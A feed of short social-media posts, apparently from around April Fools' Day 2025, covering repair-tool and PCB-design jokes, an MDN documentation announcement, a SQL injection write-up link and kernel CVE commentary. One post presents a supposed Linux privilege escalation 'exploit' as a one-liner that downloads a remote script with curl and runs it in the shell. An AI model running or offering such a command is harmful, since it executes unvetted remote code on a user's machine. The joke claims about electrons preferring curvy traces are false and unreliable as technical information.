New tool! Meet the iFixit ESD-Safe Hammer.
We hear you: sometimes you need a little more oomph to finish your fix. So, we engineered the world’s first hammer designed for electronics repair. It's built with a non-conductive handle, ESD-safe head, and just enough heft to "persuade" stubborn components.
Perfect for:
🔋 Glued-in batteries
🪛 Stripped screws
🔌Soldered memory
💥 Stress relief
Now unavailable at iFixit.com.
New on MDN, I've documented all-new, fully-customizable <select> elements: https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Customizable_select. Thanks to everyone who provided reviews!
New iocaine & new template deployed. It looks great!
When parameterization fails: SQL injection in Nim's db_postgres module using parameterized queries https://blog.nns.ee/2025/03/28/nim-postgres-vulnerability/
UK government cuts funds for actually-working anti-cancer AI
https://pivot-to-ai.com/2025/03/31/uk-government-cuts-funds-for-actually-working-anti-cancer-ai/ - text
https://www.youtube.com/watch?v=he0dAvl37BY - video
I read a report recently that confirmed that straight PCB traces, right angle, and orthogonally placed components can actually make electrons sad and slow them down. They much prefer the excitement of whizzing along curvy traces, particularly if they end up going in to a chip at a random angle. And bright colours really make them want to work harder.
So I will be updating all #RC2014 kits with design philosophy. The first to be done is the RC2014 Mini II Picasso. You can pick one up now at #z80kits
https://z80kits.com/shop/rc2014-mini-ii-picasso/
💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):
“. <(curl -SsfL https://thc.org/7350pipe)”
https://lore.kernel.org/linux-cve-announce/2025032721-CVE-2023-53032-70ce@gregkh/T/#u "Note that it's harmless since the value will be checked at the next step." Sure, but our Bash script has determined this will get a CVE anyway: https://web.git.kernel.org/pub/scm/linux/kernel/git/lee/vulns.git/tree/scripts/cve_review#n192